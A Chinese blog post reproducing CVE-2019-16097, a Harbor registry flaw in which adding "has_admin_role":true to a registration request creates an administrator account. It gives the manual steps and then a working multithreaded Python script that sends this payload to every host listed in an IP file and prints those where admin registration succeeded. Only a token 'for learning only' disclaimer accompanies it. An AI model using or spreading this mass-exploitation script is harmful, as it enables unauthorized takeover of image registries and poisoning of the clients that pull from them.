CVE-2019-16097,Harbor 任意管理员注册漏洞复现与批量脚本

  • 内容
  • 相关

0x01漏洞描述

Harbor 是一个用于存储和分发 Docker 镜像的企业级 Registry 服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源 Docker Distribution。作为一个企业级私有 Registry 服务器,Harbor 提供了更好的性能和安全。提升用户使用 Registry 构建和运行环境传输镜像的效率。Harbor 支持安装在多个 Registry 节点的镜像资源复制,镜像全部保存在私有 Registry 中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor 也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。

近日 Harbor 曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。攻击者可以通过注册管理员账号来接管 Harbor 镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

0x02漏洞复现

访问Harbor网站,点击注册然后抓取post数据包

Image

数据包后面加上:"has_admin_role":true

Image

查看返回响应包、201代表成功

Image

登录看看,发现好多人已经撸了- -

Image

0x03 批量脚本

import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor

def exp(url):
    url = url + '/api/users'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/json',
        }
    payload = {
        "username": "test1",
        "email": "[email protected]",
        "realname": "test1",
        "password": "Aa123456",
        "comment": "test1",
        "has_admin_role": True
        }
    payload = json.dumps(payload)
    try:
        requests.packages.urllib3.disable_warnings()
        r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
        if r.status_code == 201:
            print(url)
    except Exception as e:
        pass

if __name__ == '__main__':
    data = open('ip.txt') # 批量IP
    reader = csv.reader(data)
    # 50是线程
    with ThreadPoolExecutor(50) as pool:
        for row in reader:
            if 'http' not in row[0]:
                url = 'http://' + row[0]
            else:
                url = row[0]
            pool.submit(exp, url)

username,email,realname,password,comment参数自行修改,成功后会打印出URL。

仅供技术学习交流、请勿用于非法行为、否则后果自负。

本文标签:

版权声明:若无特殊注明,本文皆为《舜哥哥吖》原创,转载请保留文章出处。

本文链接:CVE-2019-16097,Harbor 任意管理员注册漏洞复现与批量脚本 - http://www.shungg.cn/post/254

发表评论

电子邮件地址不会被公开。 必填项已用*标注